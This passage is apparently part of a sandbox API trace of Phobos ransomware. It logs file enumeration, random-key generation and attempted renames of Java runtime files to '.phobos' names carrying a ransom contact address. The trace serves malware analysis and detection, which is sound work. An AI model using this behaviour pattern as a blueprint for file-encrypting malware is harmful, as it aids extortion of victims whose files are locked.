files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.814] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3860502) returned 1 [0150.814] CloseHandle (hObject=0x564) returned 1 [0150.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 0x20 [0150.814] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0150.814] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 0 [0150.814] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.815] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=8286) returned 1 [0150.815] CloseHandle (hObject=0x564) returned 1 [0150.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0x20 [0150.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.815] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.817] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=44516) returned 1 [0150.817] CloseHandle (hObject=0x564) returned 1 [0150.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0x20 [0150.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.817] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.817] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=18246297) returned 1 [0150.818] CloseHandle (hObject=0x564) returned 1 [0150.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0x20 [0150.818] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0150.818] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0 [0150.818] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.819] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2204781) returned 1 [0150.819] CloseHandle (hObject=0x564) returned 1 [0150.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0x20 [0150.819] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0150.820] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0 [0150.820] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.820] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1461) returned 1 [0150.820] CloseHandle (hObject=0x564) returned 1 [0150.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 0x20 [0150.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.821] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.965] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2022734) returned 1 [0150.965] CloseHandle (hObject=0x564) returned 1 [0150.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0x20 [0150.965] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0150.965] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0 [0150.965] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.965] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.966] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=116446) returned 1 [0150.966] CloseHandle (hObject=0x564) returned 1 [0150.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 0x20 [0150.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.966] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.967] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20109) returned 1 [0150.967] CloseHandle (hObject=0x564) returned 1 [0150.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 0x20 [0150.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.967] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.968] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20065) returned 1 [0150.968] CloseHandle (hObject=0x564) returned 1 [0150.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 0x20 [0150.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.968] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.968] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=560581) returned 1 [0150.968] CloseHandle (hObject=0x564) returned 1 [0150.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 0x20 [0150.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.969] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.969] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=33932) returned 1 [0150.969] CloseHandle (hObject=0x564) returned 1 [0150.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 0x20 [0150.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.970] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.970] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=584576) returned 1 [0150.970] CloseHandle (hObject=0x564) returned 1 [0150.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 0x20 [0150.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.970] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.970] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2455) returned 1 [0150.971] CloseHandle (hObject=0x564) returned 1 [0150.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 0x20 [0150.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.971] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.975] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3998) returned 1 [0150.975] CloseHandle (hObject=0x564) returned 1 [0150.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 0x20 [0150.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.976] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.979] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2856) returned 1 [0150.979] CloseHandle (hObject=0x564) returned 1 [0150.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 0x20 [0150.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.979] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.990] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3376) returned 1 [0150.994] CloseHandle (hObject=0x564) returned 1 [0150.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 0x20 [0150.994] GetFileAttributesW 